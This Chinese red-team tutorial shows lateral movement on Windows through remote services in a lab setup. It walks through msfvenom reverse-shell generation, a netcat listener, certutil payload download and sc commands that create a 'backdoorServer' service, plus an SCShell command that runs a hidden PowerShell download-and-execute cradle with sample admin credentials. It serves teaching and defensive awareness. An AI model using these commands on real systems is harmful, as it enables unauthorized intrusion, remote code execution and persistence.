一.前言
在Windows中,服务是指在Windows操作系统中运行的后台程序。在Windows中可以配置特定事件发生时执行某项服务,或按需启动。它们通常用于执行系统级任务,例如执行定时任务、管理网络连接或监控系统性能。在Windows中创建服务,我们可以指定运行者权限,并且设置启动类型为自动、手动或禁用。Windows提供了SCM用作服务管理,而我们可以通过sc或者Windows API——OpenSCManagerA——来远程连接SCM管理Windows服务。
二.前文推荐
ATT&CK视角下的红蓝对抗:一. 隧道穿透技术详解
ATT&CK视角下的红蓝对抗:二. 内网探测协议出网
ATT&CK视角下的红蓝对抗:三. 内网常规隧道利用方法
ATT&CK视角下的红蓝对抗:四. 内网穿透之通过Earthworm(EW)进行隧道穿透
ATT&CK视角下的红蓝对抗:五. 内网穿透之利用HTTP协议进行隧道穿透
ATT&CK视角下的红蓝对抗:六.内网穿透之利用FRP进行隧道穿透
ATT&CK视角下的红蓝对抗:七.内网穿透之利用Venom进行隧道穿透
ATT&CK视角下的红蓝对抗:八.内网穿透之利用Termite进行隧道穿透
ATT&CK视角下的红蓝对抗:九.内网穿透之利用GRE协议进行隧道穿透
ATT&CK视角下的红蓝对抗:十.内网穿透之利用DNS协议进行隧道穿透
ATT&CK视角下的红蓝对抗:十一.内网穿透之利用SSH协议进行隧道穿透
ATT&CK视角下的红蓝对抗:十二.内网穿透之Windows文件传输技术详解
ATT&CK视角下的红蓝对抗:十三.内网穿透之Linux文件传输技巧详解
ATT&CK视角下的红蓝对抗:十四.内网穿透之反弹流量分析与检测方法
ATT&CK视角下的红蓝对抗:十五.内网穿透之利用ICMP协议进行隧道穿透
ATT&CK视角下的红蓝对抗:十六.横向移动之利用Windows计划任务进行横向移动
ATT&CK视角下的红蓝对抗:十七.横向移动之利用远程服务进行横向渗透
三.利用远程服务进行横向渗透
在Windows中,服务是指在Windows操作系统中运行的后台程序。在Windows中可以配置特定事件发生时执行某项服务,或按需启动。它们通常用于执行系统级任务,例如执行定时任务、管理网络连接或监控系统性能。在Windows中创建服务,我们可以指定运行者权限,并且设置启动类型为自动、手动或禁用。Windows提供了SCM用作服务管理,而我们可以通过sc或者Windows API——OpenSCManagerA——来远程连接SCM管理Windows服务。
1.利用SC创建远程服务进行横向渗透
SC是Windows中的一个工具命令集,主要通过操作服务控制管理器来与服务进行通信。利用SC可以远程开启关闭、增加与删除服务。注意,在利用SC创建远程服务之前我们需要有两端机器的管理员权限,并且已与目标机器建立IPC$连接。本次实验环境拓扑如图1-1所示,具体实验环境信息如表1-1所示。
表1-1利用sc创建远程服务进行横向渗透实验环境
主机 | 服务类型 | IP地址 |
---|---|---|
Kali 2022 | 攻击机 | 10.10.10.2 |
Windows 2012 R2 | 跳板机 | 10.10.10.3、192.168.1.2 |
Windows 2008 R2 | 核心靶标 | 10.10.10.4、192.168.1.3 |
1)目前我们已经获取了跳板机权限。首先在攻击机kali上通过执行命令msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.10.2 lport=1338 -f exe > shell.exe来生成一个攻击机回连程序,命令执行结果如图1-2所示。
2)生成程序后,使用命令nc -lvnp 1338监听1338端口。当shell.exe被执行后将会向该端口回连并创建一个交互式会话,命令执行结果如图1-3所示。
3)再切换到跳板机,运用上文中攻击机已经搭建好的Web服务器,使用命令certutil -urlcache -split -f http://10.10.10.2:8080/shell.exe C:shell.exe,通过certutil下载攻击机生成的回连程序,并将其保存到C盘根目录下,命令执行结果如图1-4所示。
4)使用dir c:查看文件是否下载到跳板机的C盘下,如图1-5所示。
5)利用和靶标机器已经建立的IPC连接,使用copy shell.exe \192.168.1.3C$命令把攻击机生成的回连程序复制到靶标机器的C盘根目录下,如图1-6所示。
6)使用命令sc \192.168.1.3 create backdoorServer binpath= "C:shell.exe"在靶标机器上创建一个名为backdoorServer的服务,该服务的可执行文件路径被指向shell.exe,命令执行结果如图1-7所示。
7)使用命令sc \192.168.1.3 start backdoorServer启动backdoorServer服务。启动该服务后,服务相对应的可执行文件将会被执行,如图1-8所示。注意,提示失败并不会影响shell.exe的运行。
8)最终结果如图1-9所示,可以看到攻击机1338端口成功接收到靶标机器回连,并建立交互式会话。
2.利用SCShell进行横向渗透
SCShell是一个无文件地横向移动工具,它通过调用Windows中的ChangeServiceConfigA函数来执行命令,函数中具体参数的含义如下面代码所示。ScShell通过ChangeServiceConfig函数的第五个参数lpBinaryPathName来定义服务的可执行文件路径,而该路径也可以设置为任意命令。SCShell的巧妙之处在于不对SMB执行身份验证,一切都在DCERPC上面执行,具体实验环境信息参考表1-2。
代码语言:javascript复制BOOL ChangeServiceConfig(
SC_HANDLE hService // 打开服务时返回的句柄
DWORD dwServiceType, // 服务的类型
DWORD dwStartType, // 何时启动服务
DWORD dwErrorControl, // 错误控制代码
LPCTSTR lpBinaryPathName, // 服务的路径
LPCTSTR lpLoadOrderGroup, // 服务所属的组
LPDWORD lpdwTagId, // 服务的标记
LPCTSTR lpDependencies, // 依赖的其他服务和组
LPCTSTR lpServiceStartName, // 服务的启动用户
LPCTSTR lpPassword, //服务启动用户的密码
LPCTSTR lpDisplayName // 服务的显示名
);
表1-2利用SCShell进行横向渗透实验环境信息
主机 | 服务类型 | IP地址 |
---|---|---|
Windows 2012 R2 | 跳板机 | 192.168.1.3,10.10.10.4 |
Windows 2012 R2 | 靶标 | 192.168.1.2,10.10.10.3 |
在使用ScShell之前,我们需要知道靶标机器的管理员凭据以及靶标机器当前所运行的系统服务名称。我们可以使用svchost.exe系统中自带的defragsvc服务来作为我们在靶标机器上通过SCShell所加载利用的远程服务,使用以下命令。
代码语言:javascript复制scshell.exe 192.168.1.2 defragsvc "c:windowssystem32cmd.exe /c powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.3:80/ad'))"" . Administrator Password@123"
执行结果如图1-10,最终效果如图1-11所示。
四.本篇总结
本文主要介绍了利用远程服务进行横向渗透的方法,读者阅读本章内容后就能够理解,红队人员一旦通过外部某一个点进入了企业内部网络之中,那么内网之中所有的安全防护设备将会形同虚设,红队人员在内网之中获取核心靶标的系统权限如同探囊取物。因此,如何有效地建立内网横向渗透安全防护体系就成了大部分企业及蓝队防守人员值得思考的问题,笔者希望通过本章对红队人员进行横向渗透所常利用的手法的介绍,读者能够对内网安全体系建设引起更多的重视和思考。
我正在参与2023腾讯技术创作特训营第三期有奖征文,组队打卡瓜分大奖!